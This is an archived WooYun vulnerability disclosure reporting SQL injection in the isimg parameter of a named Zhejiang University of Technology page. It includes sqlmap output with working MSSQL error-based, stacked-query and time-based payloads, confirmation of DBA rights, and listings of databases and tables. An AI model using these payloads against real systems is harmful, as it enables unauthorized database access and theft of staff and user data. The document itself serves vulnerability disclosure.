当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158652

漏洞标题:浙江工业大学某站SQL注入#DBA权限#获取数据库全部信息

相关厂商:zjut.edu.cn

漏洞作者: 路人甲

提交时间:2015-12-07 12:04

修复时间:2016-01-21 18:22

公开时间:2016-01-21 18:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-07: 细节已通知厂商并且等待厂商处理中
2015-12-08: 厂商已经确认,细节仅向厂商公开
2015-12-18: 细节向核心白帽子及相关领域专家公开
2015-12-28: 细节向普通白帽子公开
2016-01-07: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

如题

详细说明:

0x01 漏洞描述

报错注入、基于时间盲注


0x02 漏洞地址

http://www.xsgzsppa.zjut.edu.cn/listarticle1.aspx?isimg=wzlosJEn&pageno=77&tid=

注入关键字isimg
0x03 漏洞利用

sqlmap

漏洞证明:

0x04 漏洞测试结果

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: isimg
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: isimg=wzlosJEn%' AND 3362=CONVERT(INT,(SELECT CHAR(113)+CHAR(108)+CHAR(109)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (3362=3362) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(114)+CHAR(118)+CHAR(119)+CHAR(113))) AND '%'='&pageno=77&tid=
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: isimg=wzlosJEn%'; WAITFOR DELAY '0:0:5'--&pageno=77&tid=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: isimg=wzlosJEn%' WAITFOR DELAY '0:0:5'--&pageno=77&tid=
---
[14:35:43] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008


DBA权限

[14:35:43] [INFO] testing if current user is DBA
current user is DBA: True


数据库信息

available databases [5]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] zgxsgzw
Database: zgxsgzw
[12 tables]
+-----------------+
| T_Article |
| T_ArticleType |
| T_Banner |
| T_FloatSet |
| T_Link |
| T_Staff |
| T_Teacher |
| T_attachment |
| T_department |
| T_function |
| T_function_user |
| T_sysuser |
+-----------------+

修复方案:

这个、、、

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-08 09:16

厂商回复:

谢谢您的帮助,我们会尽快处理的

最新状态:

暂无


漏洞评价:

评价